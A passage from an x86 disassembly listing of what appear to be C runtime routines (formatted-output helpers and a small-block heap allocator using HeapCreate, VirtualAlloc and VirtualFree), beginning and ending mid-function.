		mov	bl, [edi]
		inc	edi
		test	bl, bl
		mov	[ebp+arg_4], edi
		jnz	loc_416091


loc_41677E:				; CODE XREF: sub_416065+1Fj
					; sub_416065+37j
		mov	eax, [ebp+var_14]
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_416065	endp

; ---------------------------------------------------------------------------
off_416786	dd offset loc_416204	; DATA XREF: sub_416065+6Er
		dd offset loc_4160DA	; jump table for switch	statement
		dd offset loc_4160F5
		dd offset loc_416141
		dd offset loc_416178
		dd offset loc_416180
		dd offset loc_4161B5
		dd offset loc_416248

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4167A6	proc near		; CODE XREF: sub_416065+1BDp
					; sub_416065+1D6p ...

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		mov	ecx, [ebp+arg_4]
		dec	dword ptr [ecx+4]
		js	short loc_4167BF
		mov	edx, [ecx]
		mov	al, byte ptr [ebp+arg_0]
		mov	[edx], al
		inc	dword ptr [ecx]
		movzx	eax, al
		jmp	short loc_4167CA
; ---------------------------------------------------------------------------


loc_4167BF:				; CODE XREF: sub_4167A6+9j
		push	ecx
		push	[ebp+arg_0]
		call	sub_415F50
		pop	ecx
		pop	ecx


loc_4167CA:				; CODE XREF: sub_4167A6+17j
		cmp	eax, 0FFFFFFFFh
		mov	eax, [ebp+arg_8]
		jnz	short loc_4167D7
		or	dword ptr [eax], 0FFFFFFFFh
		pop	ebp
		retn
; ---------------------------------------------------------------------------


loc_4167D7:				; CODE XREF: sub_4167A6+2Aj
		inc	dword ptr [eax]
		pop	ebp
		retn
sub_4167A6	endp


; =============== S U B	R O U T	I N E =======================================



sub_4167DB	proc near		; CODE XREF: sub_416065+65Ap
					; sub_416065+68Cp ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch
arg_C		= dword	ptr  10h

		push	esi
		push	edi
		mov	edi, [esp+8+arg_4]
		mov	eax, edi
		dec	edi
		test	eax, eax
		jle	short loc_416809
		mov	esi, [esp+8+arg_C]


loc_4167EC:				; CODE XREF: sub_4167DB+2Cj
		push	esi
		push	[esp+0Ch+arg_8]
		push	[esp+10h+arg_0]
		call	sub_4167A6
		add	esp, 0Ch
		cmp	dword ptr [esi], 0FFFFFFFFh
		jz	short loc_416809
		mov	eax, edi
		dec	edi
		test	eax, eax
		jg	short loc_4167EC


loc_416809:				; CODE XREF: sub_4167DB+Bj
					; sub_4167DB+25j
		pop	edi
		pop	esi
		retn
sub_4167DB	endp


; =============== S U B	R O U T	I N E =======================================



sub_41680C	proc near		; CODE XREF: sub_416065+670p
					; sub_416065+6CAp ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch
arg_C		= dword	ptr  10h

		push	ebx
		mov	ebx, [esp+4+arg_4]
		mov	eax, ebx
		dec	ebx
		push	esi
		push	edi
		test	eax, eax
		jle	short loc_416840
		mov	edi, [esp+0Ch+arg_C]
		mov	esi, [esp+0Ch+arg_0]


loc_416822:				; CODE XREF: sub_41680C+32j
		movsx	eax, byte ptr [esi]
		push	edi
		inc	esi
		push	[esp+10h+arg_8]
		push	eax
		call	sub_4167A6
		add	esp, 0Ch
		cmp	dword ptr [edi], 0FFFFFFFFh
		jz	short loc_416840
		mov	eax, ebx
		dec	ebx
		test	eax, eax
		jg	short loc_416822


loc_416840:				; CODE XREF: sub_41680C+Cj
					; sub_41680C+2Bj
		pop	edi
		pop	esi
		pop	ebx
		retn
sub_41680C	endp


; =============== S U B	R O U T	I N E =======================================



sub_416844	proc near		; CODE XREF: sub_416065+E5p
					; sub_416065+124p ...

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		add	dword ptr [eax], 4
		mov	eax, [eax]
		mov	eax, [eax-4]
		retn
sub_416844	endp


; =============== S U B	R O U T	I N E =======================================



sub_416851	proc near		; CODE XREF: sub_416065+4FAp

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		add	dword ptr [eax], 8
		mov	ecx, [eax]
		mov	eax, [ecx-8]
		mov	edx, [ecx-4]
		retn
sub_416851	endp


; =============== S U B	R O U T	I N E =======================================



sub_416861	proc near		; CODE XREF: sub_416065+2C7p

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		add	dword ptr [eax], 4
		mov	eax, [eax]
		mov	ax, [eax-4]
		retn
sub_416861	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41686F	proc near		; CODE XREF: sub_413CF4+17p
					; sub_413CF4+58p ...

var_4		= byte ptr -4
var_3		= byte ptr -3
var_2		= byte ptr -2
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		mov	eax, [ebp+arg_0]
		lea	ecx, [eax+1]
		cmp	ecx, 100h
		ja	short loc_41688D
		mov	ecx, off_4377B0
		movzx	eax, word ptr [ecx+eax*2]
		jmp	short loc_4168DF
; ---------------------------------------------------------------------------


loc_41688D:				; CODE XREF: sub_41686F+10j
		mov	ecx, eax
		push	esi
		mov	esi, off_4377B0
		sar	ecx, 8
		movzx	edx, cl
		test	byte ptr [esi+edx*2+1],	80h
		pop	esi
		jz	short loc_4168B2
		and	[ebp+var_2], 0
		mov	[ebp+var_4], cl
		mov	[ebp+var_3], al
		push	2
		jmp	short loc_4168BB
; ---------------------------------------------------------------------------


loc_4168B2:				; CODE XREF: sub_41686F+33j
		and	[ebp+var_3], 0
		mov	[ebp+var_4], al
		push	1


loc_4168BB:				; CODE XREF: sub_41686F+41j
		pop	eax
		lea	ecx, [ebp+arg_0+2]
		push	1
		push	0
		push	0
		push	ecx
		push	eax
		lea	eax, [ebp+var_4]
		push	eax
		push	1
		call	sub_41B513
		add	esp, 1Ch
		test	eax, eax
		jnz	short loc_4168DB
		leave
		retn
; ---------------------------------------------------------------------------


loc_4168DB:				; CODE XREF: sub_41686F+68j
		movzx	eax, word ptr [ebp+arg_0+2]


loc_4168DF:				; CODE XREF: sub_41686F+1Cj
		and	eax, [ebp+arg_4]
		leave
		retn
sub_41686F	endp


; =============== S U B	R O U T	I N E =======================================



sub_4168E4	proc near		; CODE XREF: sub_413F1D+1Fp
					; sub_4157BF+106p ...

arg_0		= dword	ptr  4

		mov	eax, dword_742288
		test	eax, eax
		jz	short loc_4168FC
		push	[esp+arg_0]
		call	eax
		test	eax, eax
		pop	ecx
		jz	short loc_4168FC
		push	1
		pop	eax
		retn
; ---------------------------------------------------------------------------


loc_4168FC:				; CODE XREF: sub_4168E4+7j
					; sub_4168E4+12j
		xor	eax, eax
		retn
sub_4168E4	endp


; =============== S U B	R O U T	I N E =======================================



sub_4168FF	proc near		; CODE XREF: seg001:00415E6Bp

arg_0		= dword	ptr  4

		xor	eax, eax
		push	0
		cmp	[esp+4+arg_0], eax
		push	1000h
		setz	al
		push	eax
		call	dword_41F16C	; HeapCreate
		test	eax, eax
		mov	dword_743880, eax
		jz	short loc_416934
		call	sub_41693B
		test	eax, eax
		jnz	short loc_416937
		push	dword_743880
		call	dword_41F168	; HeapDestroy


loc_416934:				; CODE XREF: sub_4168FF+1Ej
		xor	eax, eax
		retn
; ---------------------------------------------------------------------------


loc_416937:				; CODE XREF: sub_4168FF+27j
		push	1
		pop	eax
		retn
sub_4168FF	endp


; =============== S U B	R O U T	I N E =======================================



sub_41693B	proc near		; CODE XREF: sub_4168FF+20p
		push	140h
		push	0
		push	dword_743880
		call	dword_41F144	; RtlAllocateHeap
		test	eax, eax
		mov	dword_74387C, eax
		jnz	short loc_416958
		retn
; ---------------------------------------------------------------------------


loc_416958:				; CODE XREF: sub_41693B+1Aj
		and	dword_743874, 0
		and	dword_743878, 0
		push	1
		mov	dword_743870, eax
		mov	dword_743868, 10h
		pop	eax
		retn
sub_41693B	endp


; =============== S U B	R O U T	I N E =======================================



sub_416979	proc near		; CODE XREF: sub_413F7F+Ap
					; sub_4157BF+3Dp ...

arg_0		= dword	ptr  4

		mov	eax, dword_743878
		lea	ecx, [eax+eax*4]
		mov	eax, dword_74387C
		lea	ecx, [eax+ecx*4]


loc_416989:				; CODE XREF: sub_416979+26j
		cmp	eax, ecx
		jnb	short loc_4169A1
		mov	edx, [esp+arg_0]
		sub	edx, [eax+0Ch]
		cmp	edx, 100000h
		jb	short locret_4169A3
		add	eax, 14h
		jmp	short loc_416989
; ---------------------------------------------------------------------------


loc_4169A1:				; CODE XREF: sub_416979+12j
		xor	eax, eax

locret_4169A3:				; CODE XREF: sub_416979+21j
		retn
sub_416979	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4169A4	proc near		; CODE XREF: sub_413F7F+16p
					; sub_4157BF+89p ...

var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 14h
		mov	edx, [ebp+arg_4]
		mov	ecx, [ebp+arg_0]
		push	ebx
		push	esi
		mov	eax, [ecx+10h]
		mov	esi, edx
		sub	esi, [ecx+0Ch]
		mov	ebx, [edx-4]
		add	edx, 0FFFFFFFCh
		push	edi
		shr	esi, 0Fh
		mov	ecx, esi
		mov	edi, [edx-4]
		imul	ecx, 204h
		dec	ebx
		mov	[ebp+var_4], edi
		lea	ecx, [ecx+eax+144h]
		mov	[ebp+var_C], ebx
		mov	[ebp+var_10], ecx
		mov	ecx, [ebx+edx]
		test	cl, 1
		mov	[ebp+var_8], ecx
		jnz	short loc_416A6A
		sar	ecx, 4
		push	3Fh
		dec	ecx
		pop	edi
		mov	[ebp+arg_4], ecx
		cmp	ecx, edi
		jbe	short loc_4169FC
		mov	[ebp+arg_4], edi


loc_4169FC:				; CODE XREF: sub_4169A4+53j
		mov	ecx, [ebx+edx+4]
		cmp	ecx, [ebx+edx+8]
		jnz	short loc_416A4E
		mov	ecx, [ebp+arg_4]
		cmp	ecx, 20h
		jnb	short loc_416A2A
		mov	edi, 80000000h
		shr	edi, cl
		lea	ecx, [ecx+eax+4]
		not	edi
		and	[eax+esi*4+44h], edi
		dec	byte ptr [ecx]
		jnz	short loc_416A4E
		mov	ecx, [ebp+arg_0]
		and	[ecx], edi
		jmp	short loc_416A4E
; ---------------------------------------------------------------------------


loc_416A2A:				; CODE XREF: sub_4169A4+68j
		add	ecx, 0FFFFFFE0h
		mov	edi, 80000000h
		shr	edi, cl
		mov	ecx, [ebp+arg_4]
		lea	ecx, [ecx+eax+4]
		not	edi
		and	[eax+esi*4+0C4h], edi
		dec	byte ptr [ecx]
		jnz	short loc_416A4E
		mov	ecx, [ebp+arg_0]
		and	[ecx+4], edi


loc_416A4E:				; CODE XREF: sub_4169A4+60j
					; sub_4169A4+7Dj ...
		mov	ecx, [ebx+edx+8]
		mov	edi, [ebx+edx+4]
		mov	[ecx+4], edi
		mov	ecx, [ebx+edx+4]
		mov	edi, [ebx+edx+8]
		add	ebx, [ebp+var_8]
		mov	[ecx+8], edi
		mov	[ebp+var_C], ebx


loc_416A6A:				; CODE XREF: sub_4169A4+45j
		mov	edi, ebx
		sar	edi, 4
		dec	edi
		cmp	edi, 3Fh
		jbe	short loc_416A78
		push	3Fh
		pop	edi


loc_416A78:				; CODE XREF: sub_4169A4+CFj
		mov	ecx, [ebp+var_4]
		and	ecx, 1
		mov	[ebp+var_14], ecx
		jnz	loc_416B27
		sub	edx, [ebp+var_4]
		mov	ecx, [ebp+var_4]
		sar	ecx, 4
		push	3Fh
		mov	[ebp+var_8], edx
		dec	ecx
		pop	edx
		cmp	ecx, edx
		mov	[ebp+arg_4], ecx
		jbe	short loc_416AA3
		mov	[ebp+arg_4], edx
		mov	ecx, edx


loc_416AA3:				; CODE XREF: sub_4169A4+F8j
		add	ebx, [ebp+var_4]
		mov	edi, ebx
		mov	[ebp+var_C], ebx
		sar	edi, 4
		dec	edi
		cmp	edi, edx
		jbe	short loc_416AB5
		mov	edi, edx


loc_416AB5:				; CODE XREF: sub_4169A4+10Dj
		cmp	ecx, edi
		jz	short loc_416B24
		mov	ecx, [ebp+var_8]
		mov	edx, [ecx+4]
		cmp	edx, [ecx+8]
		jnz	short loc_416B0C
		mov	ecx, [ebp+arg_4]
		cmp	ecx, 20h
		jnb	short loc_416AE8
		mov	edx, 80000000h
		shr	edx, cl
		lea	ecx, [ecx+eax+4]
		not	edx
		and	[eax+esi*4+44h], edx
		dec	byte ptr [ecx]
		jnz	short loc_416B0C
		mov	ecx, [ebp+arg_0]
		and	[ecx], edx
		jmp	short loc_416B0C
; ---------------------------------------------------------------------------


loc_416AE8:				; CODE XREF: sub_4169A4+126j
		add	ecx, 0FFFFFFE0h
		mov	edx, 80000000h
		shr	edx, cl
		mov	ecx, [ebp+arg_4]
		lea	ecx, [ecx+eax+4]
		not	edx
		and	[eax+esi*4+0C4h], edx
		dec	byte ptr [ecx]
		jnz	short loc_416B0C
		mov	ecx, [ebp+arg_0]
		and	[ecx+4], edx


loc_416B0C:				; CODE XREF: sub_4169A4+11Ej
					; sub_4169A4+13Bj ...
		mov	ecx, [ebp+var_8]
		mov	edx, [ecx+8]
		mov	ecx, [ecx+4]
		mov	[edx+4], ecx
		mov	ecx, [ebp+var_8]
		mov	edx, [ecx+4]
		mov	ecx, [ecx+8]
		mov	[edx+8], ecx


loc_416B24:				; CODE XREF: sub_4169A4+113j
		mov	edx, [ebp+var_8]


loc_416B27:				; CODE XREF: sub_4169A4+DDj
		cmp	[ebp+var_14], 0
		jnz	short loc_416B36
		cmp	[ebp+arg_4], edi
		jz	loc_416BBF


loc_416B36:				; CODE XREF: sub_4169A4+187j
		mov	ecx, [ebp+var_10]
		lea	ecx, [ecx+edi*8]
		mov	ecx, [ecx+4]
		mov	[edx+4], ecx
		mov	ecx, [ebp+var_10]
		lea	ecx, [ecx+edi*8]
		mov	[edx+8], ecx
		mov	[ecx+4], edx
		mov	ecx, [edx+4]
		mov	[ecx+8], edx
		mov	ecx, [edx+4]
		cmp	ecx, [edx+8]
		jnz	short loc_416BBF
		mov	cl, [edi+eax+4]
		cmp	edi, 20h
		mov	byte ptr [ebp+arg_4+3],	cl
		inc	cl
		mov	[edi+eax+4], cl
		jnb	short loc_416B93
		cmp	byte ptr [ebp+arg_4+3],	0
		jnz	short loc_416B82
		mov	ebx, 80000000h
		mov	ecx, edi
		shr	ebx, cl
		mov	ecx, [ebp+arg_0]
		or	[ecx], ebx


loc_416B82:				; CODE XREF: sub_4169A4+1CEj
		mov	ebx, 80000000h
		mov	ecx, edi
		shr	ebx, cl
		lea	eax, [eax+esi*4+44h]
		or	[eax], ebx
		jmp	short loc_416BBC
; ---------------------------------------------------------------------------


loc_416B93:				; CODE XREF: sub_4169A4+1C8j
		cmp	byte ptr [ebp+arg_4+3],	0
		jnz	short loc_416BA9
		lea	ecx, [edi-20h]
		mov	ebx, 80000000h
		shr	ebx, cl
		mov	ecx, [ebp+arg_0]
		or	[ecx+4], ebx


loc_416BA9:				; CODE XREF: sub_4169A4+1F3j
		lea	ecx, [edi-20h]
		mov	edi, 80000000h
		shr	edi, cl
		lea	eax, [eax+esi*4+0C4h]
		or	[eax], edi


loc_416BBC:				; CODE XREF: sub_4169A4+1EDj
		mov	ebx, [ebp+var_C]


loc_416BBF:				; CODE XREF: sub_4169A4+18Cj
					; sub_4169A4+1B6j
		mov	eax, [ebp+var_10]
		mov	[edx], ebx
		mov	[ebx+edx-4], ebx
		dec	dword ptr [eax]
		jnz	loc_416CCA
		mov	eax, dword_743874
		test	eax, eax
		jz	loc_416CBC
		mov	ecx, dword_74386C
		mov	edi, dword_41F170
		shl	ecx, 0Fh
		add	ecx, [eax+0Ch]
		mov	ebx, 8000h
		push	4000h
		push	ebx
		push	ecx
		call	edi	; VirtualFree
		mov	ecx, dword_74386C
		mov	eax, dword_743874
		mov	edx, 80000000h
		shr	edx, cl
		or	[eax+8], edx
		mov	eax, dword_743874
		mov	ecx, dword_74386C
		mov	eax, [eax+10h]
		and	dword ptr [eax+ecx*4+0C4h], 0
		mov	eax, dword_743874
		mov	eax, [eax+10h]
		dec	byte ptr [eax+43h]
		mov	eax, dword_743874
		mov	ecx, [eax+10h]
		cmp	byte ptr [ecx+43h], 0
		jnz	short loc_416C4A
		and	dword ptr [eax+4], 0FFFFFFFEh
		mov	eax, dword_743874


loc_416C4A:				; CODE XREF: sub_4169A4+29Bj
		cmp	dword ptr [eax+8], 0FFFFFFFFh
		jnz	short loc_416CBC
		push	ebx
		push	0
		push	dword ptr [eax+0Ch]
		call	edi	; VirtualFree
		mov	eax, dword_743874
		push	dword ptr [eax+10h]
		push	0
		push	dword_743880
		call	dword_41F148	; RtlFreeHeap
		mov	eax, dword_743878
		mov	edx, dword_74387C
		lea	eax, [eax+eax*4]
		shl	eax, 2
		mov	ecx, eax
		mov	eax, dword_743874
		sub	ecx, eax
		lea	ecx, [ecx+edx-14h]
		push	ecx
		lea	ecx, [eax+14h]
		push	ecx
		push	eax
		call	sub_4145D0
		mov	eax, [ebp+arg_0]
		add	esp, 0Ch
		dec	dword_743878
		cmp	eax, dword_743874
		jbe	short loc_416CAE
		sub	eax, 14h


loc_416CAE:				; CODE XREF: sub_4169A4+305j
		mov	ecx, dword_74387C
		mov	dword_743870, ecx
		jmp	short loc_416CBF
; ---------------------------------------------------------------------------


loc_416CBC:				; CODE XREF: sub_4169A4+233j
					; sub_4169A4+2AAj
		mov	eax, [ebp+arg_0]


loc_416CBF:				; CODE XREF: sub_4169A4+316j
		mov	dword_743874, eax
		mov	dword_74386C, esi


loc_416CCA:				; CODE XREF: sub_4169A4+226j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_4169A4	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_416CCF	proc near		; CODE XREF: sub_413F49+Ep
					; sub_4157BF+69p ...

var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 14h
		mov	eax, dword_743878
		mov	edx, dword_74387C
		push	ebx
		push	esi
		lea	eax, [eax+eax*4]
		push	edi
		lea	edi, [edx+eax*4]
		mov	eax, [ebp+arg_0]
		mov	[ebp+var_4], edi
		lea	ecx, [eax+17h]
		and	ecx, 0FFFFFFF0h
		mov	[ebp+var_10], ecx
		sar	ecx, 4
		dec	ecx
		cmp	ecx, 20h
		jge	short loc_416D0F
		or	esi, 0FFFFFFFFh
		shr	esi, cl
		or	[ebp+var_8], 0FFFFFFFFh
		mov	[ebp+var_C], esi
		jmp	short loc_416D1F
; ---------------------------------------------------------------------------


loc_416D0F:				; CODE XREF: sub_416CCF+30j
		add	ecx, 0FFFFFFE0h
		or	eax, 0FFFFFFFFh
		xor	esi, esi
		shr	eax, cl
		mov	[ebp+var_C], esi
		mov	[ebp+var_8], eax


loc_416D1F:				; CODE XREF: sub_416CCF+3Ej
		mov	eax, dword_743870
		mov	ebx, eax
		cmp	ebx, edi
		mov	[ebp+arg_0], ebx
		jnb	short loc_416D46


loc_416D2D:				; CODE XREF: sub_416CCF+75j
		mov	ecx, [ebx+4]
		mov	edi, [ebx]
		and	ecx, [ebp+var_8]
		and	edi, esi
		or	ecx, edi
		jnz	short loc_416D46
		add	ebx, 14h
		cmp	ebx, [ebp+var_4]
		mov	[ebp+arg_0], ebx
		jb	short loc_416D2D


loc_416D46:				; CODE XREF: sub_416CCF+5Cj
					; sub_416CCF+6Aj
		cmp	ebx, [ebp+var_4]
		jnz	short loc_416DC4
		mov	ebx, edx


loc_416D4D:				; CODE XREF: sub_416CCF+96j
		cmp	ebx, eax
		mov	[ebp+arg_0], ebx
		jnb	short loc_416D69
		mov	ecx, [ebx+4]
		mov	edi, [ebx]
		and	ecx, [ebp+var_8]
		and	edi, esi
		or	ecx, edi
		jnz	short loc_416D67
		add	ebx, 14h
		jmp	short loc_416D4D
; ---------------------------------------------------------------------------


loc_416D67:				; CODE XREF: sub_416CCF+91j
		cmp	ebx, eax


loc_416D69:				; CODE XREF: sub_416CCF+83j
		jnz	short loc_416DC4


loc_416D6B:				; CODE XREF: sub_416CCF+ADj
		cmp	ebx, [ebp+var_4]
		jnb	short loc_416D81
		cmp	dword ptr [ebx+8], 0
		jnz	short loc_416D7E
		add	ebx, 14h
		mov	[ebp+arg_0], ebx
		jmp	short loc_416D6B
; ---------------------------------------------------------------------------


loc_416D7E:				; CODE XREF: sub_416CCF+A5j
		cmp	ebx, [ebp+var_4]


loc_416D81:				; CODE XREF: sub_416CCF+9Fj
		jnz	short loc_416DA9
		mov	ebx, edx


loc_416D85:				; CODE XREF: sub_416CCF+C6j
		cmp	ebx, eax
		mov	[ebp+arg_0], ebx
		jnb	short loc_416D99
		cmp	dword ptr [ebx+8], 0
		jnz	short loc_416D97
		add	ebx, 14h
		jmp	short loc_416D85
; ---------------------------------------------------------------------------


loc_416D97:				; CODE XREF: sub_416CCF+C1j
		cmp	ebx, eax


loc_416D99:				; CODE XREF: sub_416CCF+BBj
		jnz	short loc_416DA9
		call	sub_416FD8
		mov	ebx, eax
		test	ebx, ebx
		mov	[ebp+arg_0], ebx
		jz	short loc_416DBD


loc_416DA9:				; CODE XREF: sub_416CCF:loc_416D81j
					; sub_416CCF:loc_416D99j
		push	ebx
		call	sub_417089
		pop	ecx
		mov	ecx, [ebx+10h]
		mov	[ecx], eax
		mov	eax, [ebx+10h]
		cmp	dword ptr [eax], 0FFFFFFFFh
		jnz	short loc_416DC4


loc_416DBD:				; CODE XREF: sub_416CCF+D8j
		xor	eax, eax
		jmp	loc_416FD3
; ---------------------------------------------------------------------------


loc_416DC4:				; CODE XREF: sub_416CCF+7Aj
					; sub_416CCF:loc_416D69j ...
		mov	dword_743870, ebx
		mov	eax, [ebx+10h]
		mov	edx, [eax]
		cmp	edx, 0FFFFFFFFh
		mov	[ebp+var_4], edx
		jz	short loc_416DEB
		mov	ecx, [eax+edx*4+0C4h]
		mov	edi, [eax+edx*4+44h]
		and	ecx, [ebp+var_8]
		and	edi, esi
		or	ecx, edi
		jnz	short loc_416E22


loc_416DEB:				; CODE XREF: sub_416CCF+106j
		mov	edx, [eax+0C4h]
		mov	esi, [eax+44h]
		and	edx, [ebp+var_8]
		and	esi, [ebp+var_C]
		and	[ebp+var_4], 0
		lea	ecx, [eax+44h]
		or	edx, esi
		mov	esi, [ebp+var_C]
		jnz	short loc_416E1F


loc_416E08:				; CODE XREF: sub_416CCF+14Ej
		mov	edx, [ecx+84h]
		inc	[ebp+var_4]
		and	edx, [ebp+var_8]
		add	ecx, 4
		mov	edi, esi
		and	edi, [ecx]
		or	edx, edi
		jz	short loc_416E08


loc_416E1F:				; CODE XREF: sub_416CCF+137j
		mov	edx, [ebp+var_4]


loc_416E22:				; CODE XREF: sub_416CCF+11Aj
		mov	ecx, edx
		xor	edi, edi
		imul	ecx, 204h
		lea	ecx, [ecx+eax+144h]
		mov	[ebp+var_C], ecx
		mov	ecx, [eax+edx*4+44h]
		and	ecx, esi
		jnz	short loc_416E4B
		mov	ecx, [eax+edx*4+0C4h]
		push	20h
		and	ecx, [ebp+var_8]
		pop	edi


loc_416E4B:				; CODE XREF: sub_416CCF+16Dj
					; sub_416CCF+183j
		test	ecx, ecx
		jl	short loc_416E54
		shl	ecx, 1
		inc	edi
		jmp	short loc_416E4B
; ---------------------------------------------------------------------------


loc_416E54:				; CODE XREF: sub_416CCF+17Ej
		mov	ecx, [ebp+var_C]
		mov	edx, [ecx+edi*8+4]
		mov	ecx, [edx]
		sub	ecx, [ebp+var_10]
		mov	esi, ecx
		mov	[ebp+var_8], ecx
		sar	esi, 4
		dec	esi
		cmp	esi, 3Fh
		jle	short loc_416E71
		push	3Fh
		pop	esi


loc_416E71:				; CODE XREF: sub_416CCF+19Dj
		cmp	esi, edi
		jz	loc_416F86
		mov	ecx, [edx+4]
		cmp	ecx, [edx+8]
		jnz	short loc_416EE2
		cmp	edi, 20h
		jge	short loc_416EB1
		mov	ebx, 80000000h
		mov	ecx, edi
		shr	ebx, cl
		mov	ecx, [ebp+var_4]
		lea	edi, [eax+edi+4]
		not	ebx
		mov	[ebp+var_14], ebx
		and	ebx, [eax+ecx*4+44h]
		mov	[eax+ecx*4+44h], ebx
		dec	byte ptr [edi]
		jnz	short loc_416EDF
		mov	ebx, [ebp+arg_0]
		mov	ecx, [ebp+var_14]
		and	[ebx], ecx
		jmp	short loc_416EE2
; ---------------------------------------------------------------------------


loc_416EB1:				; CODE XREF: sub_416CCF+1B5j
		lea	ecx, [edi-20h]
		mov	ebx, 80000000h
		shr	ebx, cl
		mov	ecx, [ebp+var_4]
		lea	edi, [eax+edi+4]
		lea	ecx, [eax+ecx*4+0C4h]
		not	ebx
		and	[ecx], ebx
		dec	byte ptr [edi]
		mov	[ebp+var_14], ebx
		jnz	short loc_416EDF
		mov	ebx, [ebp+arg_0]
		mov	ecx, [ebp+var_14]
		and	[ebx+4], ecx
		jmp	short loc_416EE2
; ---------------------------------------------------------------------------


loc_416EDF:				; CODE XREF: sub_416CCF+1D6j
					; sub_416CCF+203j
		mov	ebx, [ebp+arg_0]


loc_416EE2:				; CODE XREF: sub_416CCF+1B0j
					; sub_416CCF+1E0j ...
		mov	ecx, [edx+8]
		mov	edi, [edx+4]
		cmp	[ebp+var_8], 0
		mov	[ecx+4], edi
		mov	ecx, [edx+4]
		mov	edi, [edx+8]
		mov	[ecx+8], edi
		jz	loc_416F92
		mov	ecx, [ebp+var_C]
		mov	edi, [ecx+esi*8+4]
		lea	ecx, [ecx+esi*8]
		mov	[edx+4], edi
		mov	[edx+8], ecx
		mov	[ecx+4], edx
		mov	ecx, [edx+4]
		mov	[ecx+8], edx
		mov	ecx, [edx+4]
		cmp	ecx, [edx+8]
		jnz	short loc_416F83
		mov	cl, [esi+eax+4]
		cmp	esi, 20h
		mov	byte ptr [ebp+arg_0+3],	cl
		jge	short loc_416F54
		inc	cl
		cmp	byte ptr [ebp+arg_0+3],	0
		mov	[esi+eax+4], cl
		jnz	short loc_416F42
		mov	edi, 80000000h
		mov	ecx, esi
		shr	edi, cl
		or	[ebx], edi


loc_416F42:				; CODE XREF: sub_416CCF+266j
		mov	edi, 80000000h
		mov	ecx, esi
		shr	edi, cl
		mov	ecx, [ebp+var_4]
		or	[eax+ecx*4+44h], edi
		jmp	short loc_416F83
; ---------------------------------------------------------------------------


loc_416F54:				; CODE XREF: sub_416CCF+25Aj
		inc	cl
		cmp	byte ptr [ebp+arg_0+3],	0
		mov	[esi+eax+4], cl
		jnz	short loc_416F6D
		lea	ecx, [esi-20h]
		mov	edi, 80000000h
		shr	edi, cl
		or	[ebx+4], edi


loc_416F6D:				; CODE XREF: sub_416CCF+28Fj
		mov	ecx, [ebp+var_4]
		lea	edi, [eax+ecx*4+0C4h]
		lea	ecx, [esi-20h]
		mov	esi, 80000000h
		shr	esi, cl
		or	[edi], esi


loc_416F83:				; CODE XREF: sub_416CCF+24Ej
					; sub_416CCF+283j
		mov	ecx, [ebp+var_8]


loc_416F86:				; CODE XREF: sub_416CCF+1A4j
		test	ecx, ecx
		jz	short loc_416F95
		mov	[edx], ecx
		mov	[ecx+edx-4], ecx
		jmp	short loc_416F95
; ---------------------------------------------------------------------------


loc_416F92:				; CODE XREF: sub_416CCF+229j
		mov	ecx, [ebp+var_8]


loc_416F95:				; CODE XREF: sub_416CCF+2B9j
					; sub_416CCF+2C1j
		mov	esi, [ebp+var_10]
		add	edx, ecx
		lea	ecx, [esi+1]
		mov	[edx], ecx
		mov	[edx+esi-4], ecx
		mov	esi, [ebp+var_C]
		mov	ecx, [esi]
		test	ecx, ecx
		lea	edi, [ecx+1]
		mov	[esi], edi
		jnz	short loc_416FCB
		cmp	ebx, dword_743874
		jnz	short loc_416FCB
		mov	ecx, [ebp+var_4]
		cmp	ecx, dword_74386C
		jnz	short loc_416FCB
		and	dword_743874, 0


loc_416FCB:				; CODE XREF: sub_416CCF+2E0j
					; sub_416CCF+2E8j ...
		mov	ecx, [ebp+var_4]
		mov	[eax], ecx
		lea	eax, [edx+4]


loc_416FD3:				; CODE XREF: sub_416CCF+F0j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_416CCF	endp


; =============== S U B	R O U T	I N E =======================================



sub_416FD8	proc near		; CODE XREF: sub_416CCF+CCp
		mov	eax, dword_743878
		mov	ecx, dword_743868
		push	esi
		push	edi
		xor	edi, edi
		cmp	eax, ecx
		jnz	short loc_41701B
		lea	eax, [ecx+ecx*4+50h]
		shl	eax, 2
		push	eax
		push	dword_74387C
		push	edi
		push	dword_743880
		call	dword_41F158	; RtlReAllocateHeap
		cmp	eax, edi
		jz	short loc_41706B
		add	dword_743868, 10h
		mov	dword_74387C, eax
		mov	eax, dword_743878


loc_41701B:				; CODE XREF: sub_416FD8+11j
		mov	ecx, dword_74387C
		push	41C4h
		push	8
		lea	eax, [eax+eax*4]
		push	dword_743880
		lea	esi, [ecx+eax*4]
		call	dword_41F144	; RtlAllocateHeap
		cmp	eax, edi
		mov	[esi+10h], eax
		jz	short loc_41706B
		push	4
		push	2000h
		push	100000h
		push	edi
		call	dword_41F174	; VirtualAlloc
		cmp	eax, edi
		mov	[esi+0Ch], eax
		jnz	short loc_41706F
		push	dword ptr [esi+10h]
		push	edi
		push	dword_743880
		call	dword_41F148	; RtlFreeHeap


loc_41706B:				; CODE XREF: sub_416FD8+30j
					; sub_416FD8+67j
		xor	eax, eax
		jmp	short loc_417086
; ---------------------------------------------------------------------------


